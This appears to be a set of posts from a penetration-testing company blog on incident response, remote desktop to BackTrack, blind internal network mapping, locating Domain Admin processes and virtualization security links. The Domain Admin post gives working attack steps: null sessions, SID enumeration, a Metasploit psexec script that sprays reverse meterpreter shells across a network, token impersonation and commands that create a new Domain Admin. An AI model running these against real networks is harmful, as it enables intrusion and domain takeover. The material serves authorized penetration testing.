Incident Response – When Expectations Go Astray

Many organizations have Incident Response plans. They go through the testing and send people through training but when that incident happens and the alarms klaxons begin sounding up and down the hallways the response isn’t what the organization expected.  This strikes a discordant tone since all audits (be they HIPAA, PCI, etc.) always come back clean as they pertain to Incident Response processes. I’d like to take a brief moment to point of few pitfalls from “on paper” to application, but I’ll leave fixing them to you.


Training is a serious investment for both the organization and the individual. Unless you employ a full-time Incident Response Team this level of training is akin to insurance. Until you need it, it doesn’t seem to really be needed, yet this doesn’t decrease the importance to your organization. Think of them as similar to a volunteer fire department: training is needed even though the volunteers have day jobs. And continued training is critical.  Sending people to quality training versus having them read a book from Amazon is like sending that volunteer fire fighter to CPR class versus watching a YouTube video.


Tabletop testing is fine at first but you should strive to get past the tabletop as quickly as possible since this doesn’t simulate the climate of an actual incident. You want the individuals that went to training to use those tools they learned on, assuming they aren’t using them daily. When using just table top exercises you won’t know if everyone is really cut out for Incident Response. Most individuals will agree to participate, but when the rubber meets the road at 3am and the pressure is on to properly contain the incident, are they still willing and able to perform? It’s difficult to admit, but not everyone is cut out for Incident Response. I’m not saying you should get a full simulated environment, but the individuals that went to training should be testing those tools and their skills. Attaching a test scenario to a disaster recovery test is often the most effective and easiest way to minimize additional downtime to production systems. Some tests can be performed that won’t have any impact on the networked environment such as chain-of-custody process testing.

Lessons Learned

While this often happens, it sometimes is performed more as an accusation arena with pointed fingers and tempers flaring. If needed, have a moderator but keep to the task at hand – determining what happened, what was the full impact, what will prevent the event from happening again, are other systems vulnerable? Write up an agenda of questions and keep people on task. But what’s really important is to follow up on the remediation work. One great way may be to plug any remediation efforts into your Risk Management program, the only caveat here being that you should  keep everyone at the Lessons Learned event informed. If the Incident Response team is not involved in the remediation efforts (even if just informed) then they may not be aware of certain configuration changes that may be relevant for future Incident Responses.    It’s important that you practice the Lessons Learned process by performing them against your tests as well. As you consider these suggestions, ask yourself: if that event were to occur today, how ready will you really be?


How to Remote Desktop to BackTrack 5 from Windows


Managing BackTrack R2 via SSH is usually all you need. However, sometimes I like to manage BackTrack from Windows using X11 so that I can also have access to the desktop. In this blog, I’ll show you how to do the same using SSH, PuTTY, and Xming. This should be useful to penetration testers and BackTrack enthusiasts. The steps that will be covered are listed below:

  1. Setup SSH in BackTrack
  2. Disable the firewall (optional)
  3. Enable X11 Forwarding
  4. Restart SSH
  5. Export DISPLAY
  6. Install and Configure Xming
  7. Install and Configure PuTTY
  8. SSH to BackTrack
  9. Install and run gnome-session
  10. Access desktop in Xming

A Little Background on X11

Without going into any detail, X11 is a X Windows system that allows users to access GUI applications remotely. However, users should be aware that the terms client and server are inverted in the context of X11. Meaning that the system that makes the request to run an application on the remote server is referred to as the X11 Server, and the system providing access to the application is referred to as the client. So, server=client and client=server.

Setup SSH in BackTrack

Now that we have the X11 history out of the way, let’s get SSH enabled in BackTrack. SSH is installed by default, so only a few commands are needed to get things rolling. First, generate the keys that will be used by the server:

  • sshd-generate

Next, start the ssh daemon. By default is will start up on port 22:

  • /etc/init.d/ssh start

Finally, configure ssh to start and boot time:

  • update-rc.d ssh defaults

For those who don’t know. You can get the IP address of the system via the ifconfig. For the sake of this blog let’s assume that the BackTrack system’s IP is At this point I recommend verifing that you can actually connect to your BackTrack system via SSH. In use PuTTY in Windows or the stock ssh client.

Disable the Firewall

This section is NOT a requirement. However, some people like to go nuts and just drop their entire firewall if they are planning to get crazy. So if you feel your in the group, you can disable the default fire wall in Backtrack with the following IPTABLES commands:

  • IPTABLES -t nat -F
  • IPTABLES -t nat -X
  • IPTABLES -t mangle -F
  • IPTABLES -t mangle -X

Enable X11 Forwarding

Enable the following settings in the “/etc/ssh/ssh_config” file to enabled X11 forwarding.

  • ForwardAgent yes
  • ForwardX11 yes
  • ForwardX11Trusted yes

Restart SSH

Restart your SSH server or start it if it wasn’t running. Below is one option for restarting the service.

  • /etc/init.d/ssh restart

However, the Unbuntu community at large seems to prefer restarting services with the command below:

  • Service ssh –full-restart


Set the “DISPLAY” variable to the IP of your X11 server (Windows system). The basic syntax is below.

  • export DISPLAY=

If your Windows system is, then the command would be:

  • export DISPLAY=

Install and Configure Xming

Next, install the Xming X11 server.

  1. Download Xming from: Http://
  2. Follow the installation wizard.
  3. Double click Xlaunch icon.
  4. Choose “One window”.
  5. Click Next.
  6. Choose “Start no client”.
  7. Click Next.
  8. Click Next.
  9. Click Finish.
  10. Minimize the Xming window.

Install and Configure PuTTY

Next, install the full PuTTY package.

  1. Downlod the full .msi PuTTY install from:
  2. Follow the installation wizard.
  3. Enter the IP or hostname of the X11 client (BackTrack system).
  4. Under “Connection”, expand the SSH setting and select X11.
  5. Check the “Enable X11 Forwarding” check box.
  6. Enter “locahost:0.0” into the “X display location”.
  7. Click the Session Category.
  8. Click Save.

SSH to BackTrack

  1. Open PuTTY.
  2. Select saved session.
  3. Click open.
  4. Enter username.
  5. Enter password.

Install and Run gnome-session

You can install gnome-session with the following command.

  • apt-get install gnome-session

Once installed run the command below to send a gnome desktop to your Xming server.

  • gnome-session

Please be aware that you are not limited to the gnome desktop. I only chose it as an example because I’ve had success with it in the past. You can also run individual X applications like xterm, Firefox, etc by running the commands in your SSH sessions.

Access Desktop with Xming

Now all you have to do is open the Xming window and you should have desktop access waiting for you. Whooray for stuff!

Wrap Up

In closing, don’t feel like you have to be limited to the SSH console in BackTrack. I know it’s “Uber l33t”, but sometimes its nice to have desktop access too. As always, have fun, but don’t forget to Hack Resposibly.



10 Techniques for Blindly Mapping Internal Networks


Occasionally clients require that all network and system discovery is done completely blind during internal pentests (meaning no IP addresses are provided). I know that a lot of people have been exposed to ping and port scan discovery techniques, but on large networks those methods alone can be pretty time consuming. So in this blog I thought I would provide some time saving options that can be used in conjunction with the traditional methods. This blog should be interesting to network administrators, security professionals, and anyone else who wants to learn a few more ways to blindly discover live subnets and systems. I realize that there are many methods that can be used to discover active networks and systems, but I won’t be able to cover all of them here. I’m actually perfectly sure that I don’t know them all anyways. Regardless, what I will cover are the 10 common discovery techniques listed below. They should build on each other in way that hopefully starts to make sense as you walk through the process.

  1. DHCP Information
  2. Sniffing Network Traffic
  3. ARP Broadcasting
  4. Net View
  5. DNS Zone Transfer
  6. DNS Lookups
  7. Domain Computer Accounts
  8. Trace Route
  9. Ping Scan Known Subnets
  10. Port Scans Known Subnets

Before We Start

I recommend maintaining two lists as you walk through the discovery methods below – one for live subnets and one for live systems. Ideally the live systems list should include the IP address and the host name for each live system. You may have to do a little parsing of the hosts to get a full list of the subnets, but it shouldn’t be too hard to script. When you finally get to the trace route and scanning techniques you’ll be able to leverage the lists as targets for further discovery.

Blind Discovery

Okey dokey, here we go…

DHCP Information

If DHCP is configured, it can provide a few pieces of information that are helpful when mapping the network. DHCP information can be viewed with IPCONFIG in Windows. You should be able to glean the following information.

  • IP address The DHCP IP address will give you at least one active subnet that can be used later to identify live systems and services via different scanning techniques.
  • Gateway IP Address The gateway IP address on your subnet is most likely addressed the same way on all of the subnets across the environment Combined with some basic ping scans this can be very useful for quickly enumerating live networks. For example, if your gateway is, then you may be able to identify other subnets by pinging,, etc.
  • DNS Server IP Address Similar to the gateway IP addresses, the DNS server IP addresses are commonly addresses the same way across all subnets.
  • Domain Name The domain is important, because it will help us quickly leverage DNS records and Active Directory computer accounts in later steps. If you’re interested in more ways to enumerate active domains I’ve provided 5 methods in a previously blog called Introduction to Windows Dictionary Attacks.

Sniffing Network Traffic

Sniffing is a great passive method for mapping networks and systems. Typically, you’ll see a lot of broadcast traffic such as DNS, NBNS, BROWSER, and Cisco protocols that reveal hostnames, active subnets, VLANS, and domain names. Also, sniffing can be a handy way to find a valid IP address if DHCP is not configured on the network. Usually after watching traffic patterns for a little bit you can determine a gateway and a subnet. Then, after a little trial and error, you should be able to assign yourself a static IP address that will allow you to conduct more active network mapping. Of course there are quite of few sniffing tools that can be used, but on Windows I like Wireshark, Network Miner, and Cain. Also, TCPDump and Tshark can be handy for scripting on both Windows and Linux. Regardless of the OS or tool you choose, make sure to sniff in promiscuous mode to help ensure that you don’t miss any network traffic. Below are basic examples for starting Tshark and TCPDump and writing the output to a file.

  • tcpdump -i eth1 -nnvvXS -w outputfile
  • tshark -i 1 -VV -w outputfile

ARP Broadcasting

Since we are on the general topic of broadcast traffic I think it makes sense to touch on ARP broadcasting briefly. Basically, sending out ARP requests for each IP address on a subnet and sniffing the responses is a quick way to determine live hosts. I like using Cain for this, but I’m sure there are other great tools out there as well. If you have one that you really like let me know and I’ll update this blog.

Net View

Net view is a native Windows command that can be used to quickly enumerate other Windows systems within your broadcast domain. Below are a few variations of the command.

  • net view
  • net view /ALL /

Note: Don’t forget to ping the hostnames for IP addresses and subnets. Also, keep in mind that sometimes you will need to ping the systems using their fully qualified domain names if you’re not on a domain system.

DNS Zone Transfer

A DNS zone transfer essentially allows a client system to obtain a copy of the DNS database for the target domain. For the sake of clarity, that means all of the IP address and DNS name mappings. Below are a few examples of zone transfer commands.

  • dig axfr
  • dig @serverip axfr

Note: Don’t forget to add the results to your system and network lists.

DNS SRV Queries

Even if you are not able to get a zone transfer to work there are often other DNS lookup options available. You should lookup all of the standard DNS records for completeness, but for quick results I like targeting SRV records. One example for quickly automating SRV record lookups has been listed below. Note: The “services.txt” file is just a list of service names pulled from the “C:windowsSystem32driversetcservices” file in Windows.

  • for /f “tokens=*” %i in (‘type services.txt’) do nslookup -type=SRV | grep -v “Server:” | grep -v “Address:” | grep -v “^$”>> servers.txt

Domain Computer Accounts

Every computer attached to a Windows domain has a computer account that is registered with Active Directory. Each of those active directory computer accounts is named after the computername and appended with a “$”. So for example, if the computer name is “Workstation01”, then the associated computer account would be named “Workstation01$”. Thanks to this convenient naming convention we can get a list of systems and subnets associated with the domain. There are a number of ways to accomplish this goal, but I’m only going to provide one, because it’s usually the most successful.

  • Grab list of domain controllers from last step for each domain.
    • nslookup -type=SRV _ldap._tcp.
  • Create null session to each domain controller
    • Net use \ipc$ “” /user:””
  • Enumerate all domain user accounts.
    • ruby c:metasploitmsf3msfcli auxiliary/scanner/smb/smb_lookupsid SMBDomain=. MaxRID=10000 RHOSTS= E > domain_users.txt
  • Parse for users with $ at the end of their name, most if not all will be computer accounts.
    • grep -i “user=” domain_users.txt | gawk -F ” ” “{print $3}” | gawk -F “USER=” “{print $2}” | grep -i “$” | gawk -F “$” “{print $1}” | sort | uniq 2>nul 1> domain_users_clean.txt
  • Ping systems using fully qualified domain names to get IP Addresses. Where is the target domain.
    • For /F “tokens=*” %i in (type ‘domain_users_clean.txt) do ping
  • Once again be sure to parse out the subnets for the upcoming steps.


The next objective is to identify live networks that exist between you and the subnets you’ve identified so far. To do that we’ll use traceroute. Traceroute is a diagnostic tool that can provide route information using ICMP. In Linux the tools is called traceroute in Windows its call tracert. I recommend simply tracerouting to the gateway or DNS server for each network instead of tracerouting every system. Either way, make sure to add the newly identified networks to that list of subnets you’ve been collecting. Below is another quick and dirty script example. Note: This can take a while, especially if you have a long list of networks to trace. I typically I limit the number of hops to 10 for most networks to save some time.

  • for /F ” ” %i in (‘type gateways.txt’) do tracert -h 10 %i | grep -v “out” | gawk -F ” ” ” {print $8}” | sort

Ping Scan Known Subnets

Now that we have a larger list of networks we can start enumerating some systems. Feel free to dust of nmap for some ping scanning.

  • Nmap –sP –iL networks.txt –oA livesystems_icmp

Port Scans Known Subnets

In some cases, live systems are configured to ignore ICMP requests. For that reason it’s important to also perform some basic discovery scans. Targeting a handful of common services will usually do the trick. Below is a quick nmap example.

  • Nmap –sS –Pn –p21,22,23,25,80,110,443,513,3389,6000 –iL networks.txt –oA livesystems_disco


Now you should have a nice group of targets for your penetration test. Alone, each technique can be handy, but together they are much most effective. Hopefully this blog helped someone do something.  Have fun and don’t forget to Hack Responsibly!



5 Ways to Find Systems Running Domain Admin Processes


Migrating to Domain Admin processes is a common way penetration testers are able to impersonate Domain Admin accounts on the network. However, before a pentester can do that, they need to know what systems those processes are running on. In this blog I’ll cover 5 techniques to help you do that. The techniques that will be covered include:

  1. Checking Locally
  2. Querying Domain Controllers for Active Domain User Sessions
  3. Scanning Remote Systems for Running Tasks
  4. Scanning Remote Systems for NetBIOS Information
  5. PSExec Shell Spraying Remote Systems for Auth Tokens

Obtaining Domain Admin Privileges

For the most part, this blog will focus on identifying systems that are running Domain Admin processes. However, for the sake of context, I’ve outlined the standard process many penetration testers use to obtain Domain Admin privileges.

  1. Identify target systems and applications
  2. Identify potential vulnerabilities
  3. Exploit vulnerabilities to obtain initial access
  4. Escalate privileges on the compromised system
  5. Locate Domain Admin processes/authentication tokens locally or on Remote Systems
  6. Authenticate to a remote system running Domain Admin Processes by passing the local Administrator’s password hash, cracking passwords, or dumping passwords with a tool like mimikatz
  7. Migrate to a Domain Admin Process
  8. Create a Domain Admin

The process as a whole is well known in the penetration testing community, and you should be able to find plenty of blogs, white papers, and video tutorials via Google if you’re interested in more details. Moving forward, I will only be focusing on options for number 5.

Finding Domain Admin Processes

Ok, enough of my ramblings. As promised, below are 5 techniques for finding Domain Admin processes on the network.

Technique 1: Checking Locally

Always check the initially compromised system first. There’s really no point is running around the network looking for Domain Admin processes if you already have one. Below is a simple way to check if any Domain Admin processes are running using native commands:

  1. Run the following command to get a list of domain admins:net group “Domain Admins” /domain
  2. Run the following command to list processes and process owners. The account running the process should be in the 7th column.Tasklist /v
  3. Cross reference the task list with the Domain Admin list to see if you have a winner.

It would be nice if Domain Admin processes were always available on the system initially compromised, but sometimes that is not the case. So the next four techniques will help you find Domain Admin process on remote domain systems.

Technique 2: Querying Domain Controllers for Active Domain User Sessions

To my knowledge this technique is a NetSPI original. We wanted a way to identify active Domain Admin processes and logins without having to spray shells all over the network or do any scanning that would set off IDS. Eventually it occurred to us to simply query the domain controllers for a list of active domain user sessions and cross reference it with the Domain Admin list. The only catch is you have to query all of the domain controllers. Below I’ve provided the basic steps to get list of systems with active Domain Admin sessions as a domain user:

  1. Gather a list of Domain Controllers from the “Domain Controllers” OU using LDAP queries or net commands. I’ve provided a net command example group “Domain Controllers” /domainImportant Note: The OU is the best source of truth for a list of domain controllers, but keep in mind that you should really go through the process of enumerating trusted domains and targeting those domain controllers as well.Alternatively, you can look them up via DNS.Nslookup –type=SRV _ldap._tcp.
  2. Gather a list of Domain Admins from the “Domain Admins” group using LDAP queries or net commands. I’ve provided a net command example below. net group “Domain Admins” /domain
  3. Gather a list of all of the active domain sessions by querying each of the domain controllers using Netsess.exe. Netsess is a great tool from Joe Richards that wraps around the native Windows function “netsessionenum”. It will return the IP Address of the active session, the domain account, the session start time, and the idle time. Below is a command example. Netsess.exe –h
  4. Cross reference the Domain Admin list with the active session list to determine which IP addresses have active domain tokens on them. In more secure environments you may have to wait for a Domain Admin or Service account with Domain Admin privileges to take actions on the network. What that really means I you’ll have to run through the process multiple time, or script it out. Below is a very quick and dirty Windows command line script that uses netsess. Keep in mind that dcs.txt has a list of domain controllers and admins.txt has a list of Domain Admins. FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
    FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

I wrote a basic batch script named Get Domain Admins (GDA) which can be download  that automates the whole process. The dependencies are listed in the readme file. I would like to give a shout out to Mark Beard and Ivan Dasilva for helping me out on it. I’ve also created a batch file called Get Domain Users (GDU) for Windows Dictionary attacks which has similar options, but more dependencies. If you interested it can be downloaded by clicking the link above.

Technique 3: Scanning Remote Systems for Running Tasks

I typically have success with the first two options. However, I came across this method in a pauldotcom blog by LaNMSteR53 and I thought it was a clever alternative. Once you are running as the shared local administrator account on a domain system you can run the script below to scan systems for Domain Admin Tasks. Similar to the last technique you will need to enumerate the Domain Admins first. In the script below ips.txt contains a list of the target systems and the names.txt contains a list of the Domain Admins.

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

The original post is: Crawling for Domain Admin with Tasklist if you’re interested.

Technique 4: Scanning Remote Systems for NetBIOS Information

Some Windows systems still allow users to query for logged in users via the NetBIOS queries. The information can be queried using the native nbtstat tool. The user name is indicated by “<03>” in the nbtstat results.

  1. Below is another quick and dirty Windows command line script that will scan remote systems for active Domain Admins sessions. Note: The script can be ran as a non-domain user.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
  2. You can also use the nbtscan tool which runs a little faster. It can be downloaded here. Another basic script example is below.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

Technique 5: PSExec Shell Spraying Remote Systems for Auth Tokens

Psexec “Shell spraying” is the act of using the Psexec module in Metasploit to install shells (typically meterpreter) on hundreds of systems using shared local administrative credentials. Many pentesters use this method in concert with other Metasploit functionality to identify Domain Admin tokens. This is my least favorite technique, but since a large portion of the pentest community is actively using it I feel that I needed to include it. I like getting shells as much as the next guy, but kicking off 500 hundred of them in a production environment could cause availability issues that clients will be really unhappy with. To be fair, having 500 shells does mean you can scrape data faster, but I still think it creates more risk than value. Regardless, below is the process I have seen a lot of people using:

  1. Install Metasploit 3.5 or greater.
  2. Copy paste script below to a text file and save into the Metasploit directory as psexec_spray.rc. I originally found this script on Jabra’s blog. #Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST setg LPORT 55555 set ExitOnSession false exploit -j -z#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass #Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff – range walker #note: could also accept ip addresses from a file by replacing rhosts =”” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walker’ rhosts = “” iplist = iplist.each do |rhost|      #self allows for execution of commands in msfconsole      self.run_single(“set RHOST #{rhost}”)      #-j-z send the session to the background      self.run_single(“exploit -j -z”) end
  3. Update the smbuser and smbpass parameters.
  4. Issue the following command to run the script. The psexec_spray.rc script will attempt to blindly install meterpreter shells on every system in the network using the provided credentials.msfconsole –r psexec_spray.rc
  5. You can then use the Metasploit module token_hunter to identify Domain Admin tokens on each of the shelled systems. I’ve outlined the steps below.
    1. Create a file containing a list of the Domain Admins like so: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
    2. Load the token_hunter module in the msfconsole msf> load token_hunter
    3. Run token hunter to list the sessions containing Domain Admin tokens. msf> token_hunt_user -f /tmp/domain-admin.txt
  6. Alternatively, you can use the following command to get a list of currently logged in users from each of the shelled system and manually look for Domain Admins.Sessions –s loggedin

What Now?

If you already have a meterpreter session you can use Incognito to impersonate the Domain Admin, or add a new one. Incognito can attempt to add a new Domain Admin blindly by iterating through all of the available authencation tokens on the system. Below are the basic commands to do that in meterpreter.

  1. Load Incognito in your active meterpreter session with the following command:load incongnito
  2. Attempt to add a Domain Admin with the authentication tokens on the system:add_user -h
    add_group “”Domain Admins”” -h

If you’re interested in creating a new Domain Admin using another option you can use the instructions below:

  1. In the meterpreter console, type the following command to view processes:ps
  2. In the meterpreter console, find a domain admin session and migrate to using the following command:migrate
  3. In the meterpreter console, type the following command get a OS shell:shell
  4. Type the following native Windows command to add a new Domain Admin:net user /add /domain
    net group “Domain Admins” /add /domain

Wrap Up

As you can see there are quite a few options for identifying Domain Admin processes and authentication tokens. I recommend using the low impact options to help prevent availability issues and unhappy clients. I’m sure as time goes on people will come up with better ideas, but until then remember to have fun and hack responsibly.



Virtualization Security Resources

Getting started with virtualization security can be a little daunting. I’m not going to go into a great level of detail, but I do want to point out some sources of information to get you started down the path to securing your virtual datacenters (you did plan the security of the infrastructure before you virtualized, right?). This entire blog entry will be a list of places to find guidance in terms of virtualization security and compliance. It is by no means exhaustive; I’ll leave the rest of the resources out there as an exercise for the reader.


The first place to look for security guidance is always the vendors:

Microsoft Hyper-V

Microsoft released Hyper-V as a free hypervisor that runs on top of windows with Windows Server 2008. Here are a couple resources you can use: – Hyper-V Security Guide – Hyper-V Security Guide download


VMware is the best known, longest running hypervisor out there. Their products have gone through a lot of changes over the years, so it’s pretty important to track the version of VMware/vSphere you’re using closely. Listed below are the hardening guides for each version:

VMware 3 (Seriously? You should update!):

vSphere 4.0:

vSphere 4.1:

vSphere 5 (brand new):


Xen is a very popular open source hypervisor. I couldn’t find any specific hardening documents for Xen, but I believe the standard Linux hardening guides will go a long way. Here is a portal for their documentation:

Third Parties

Vendors are great and all, but I think objective third parties provide the most insight into the problem, as they’re not trying to sell you on how great their software is or ram virtual security appliances down your throat.

Defense Information Systems Agency (DISA) STIG:

Cloud Security Alliance:


CIS Security Benchmarks:


Aren’t regulations fun? While not exactly a security data point, regulation guidance is useful at times.

PCI Security Standards Council:

Discover why security operations teams choose NetSPI.